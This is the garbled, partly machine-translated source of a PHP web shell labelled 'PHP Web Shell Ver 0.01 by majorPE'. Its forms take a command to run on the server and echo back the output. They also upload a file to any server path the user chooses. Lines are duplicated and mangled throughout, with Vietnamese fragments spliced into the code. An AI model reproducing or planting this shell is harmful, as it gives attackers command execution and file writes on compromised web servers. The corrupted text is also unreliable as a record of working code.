|
|
|
|
|
|
|
|
|
|
|
|
|
|
| >
|
| <html>
|
| <head>
|
| <meta http-equiv="Content-Type" content="text/html" charset="euc-kr">
|
| if (isset ($ _ get ['cmd'])))(isset($_GET['cmd'])) title>PHP Web Shell Ver 0.01 by majorPEtitle>
|
| <script type="text/javascript">
|
| functionFocusIn(obj)FocusIn(obj) FocusIn(obj)
|
| if (isset ($ _ get ['cmd'])))(isset($_GET['cmd']))
|
| if(obj.value==obj.defaultValue)(obj.value==obj.defaultValue)(obj.value == obj.defaultValue)
|
| obj.value='';.value='';.value = '';
|
| {
|
|
|
| functionFocusOut(obj)FocusOut(obj) FocusOut(obj)
|
| if (isset ($ _ get ['cmd'])))(isset($_GET['cmd']))
|
| if(obj.value=='')(obj.value=='')(obj.value == '')
|
| obj.value=obj.defaultValue;.value=obj.defaultValue;.value = obj.defaultValue;
|
| {
|
| script>>
|
| head>>
|
| <body>
|
| hệ thống ($ _ get ['cmd']);$_GET['cmd']); b>WebShell's Location = http:// echo $_SERVER['HTTP_HOST']; echo $_SERVER['REQUEST_URI'] ?>b><br><br>
|
|
|
| } echo $_SERVER['HTTP_HOST'] ?><br>
|
| ?> echo $_SERVER['REQUEST_URI'] ?><br>
|
|
|
| <br>
|
|
|
| <form name="cmd_exec" method="post" action="http:// echo $_SERVER['HTTP_HOST']; echo $_SERVER['REQUEST_URI'] ?>">
|
| <input type="text" name="cmd" size="70" maxlength="500" value="Input command to execute" onfocus="FocusIn(document.cmd_exec.cmd)" onblur="FocusOut(document.cmd_exec.cmd)">
|
| <input type="submit" name="exec" value="exec">
|
| form>>
|
|
|
| >(isset($_POST['exec']))
|
| if (isset ($ _ get ['cmd'])))title>PHP Web Shell Ver 0.01 by majorPEtitle> |
| {$_POST['cmd'],$result);
|
|
|
| hệ thống ($ _ get ['cmd']); '----------------- < OutPut > -----------------';
|
| }b>WebShell's Location = http://echo$_SERVER['HTTP_HOST']; echo$_SERVER['REQUEST_URI'] ?>b> '' ;
|
| ?>echo$_SERVER['HTTP_HOST'] ?>($result as $print)
|
| Php Web Shell Ver 0,01 bởi Majorpeecho$_SERVER['REQUEST_URI'] ?> |
| {(isset($_POST['exec'])) print = str_replace('<','<',$print);
|
| } $print . ' ';
|
| } |
| ?> '';
|
| } |
| ?> echo ' ';
|
| ?>
|
|
|
| <form enctype="multipart/form-data" name="file_upload" method="post" action="http:// echo $_SERVER['HTTP_HOST']; echo $_SERVER['REQUEST_URI'] ?>">
|
| <input type="file" name="file">
|
| <input type="submit" name="upload" value="upload"><br>
|
| <input type="text" name="target" size="100" value="Location where file will be uploaded (include file name!)" onfocus="FocusIn(document.file_upload.target)" onblur="FocusOut(document.file_upload.target)">
|
| form>>
|
|
|
| >(isset($_POST['upload']))
|
| if (isset ($ _ get ['cmd'])))title>PHP Web Shell Ver 0.01 by majorPEtitle> |
| {check = move_uploaded_file($_FILES['file']['tmp_name'], $_POST['target']);
|
|
|
| hệ thống ($ _ get ['cmd']);($check == TRUE)
|
| }b>WebShell's Location = http://echo$_SERVER['HTTP_HOST']; echo$_SERVER['REQUEST_URI'] ?>b> 'The file was uploaded successfully!! ';
|
| else
|
| ?>echo$_SERVER['HTTP_HOST'] ?> 'File Upload was failed... ';
|
| } |
| ?>
|
| body>>
|
| html>>
|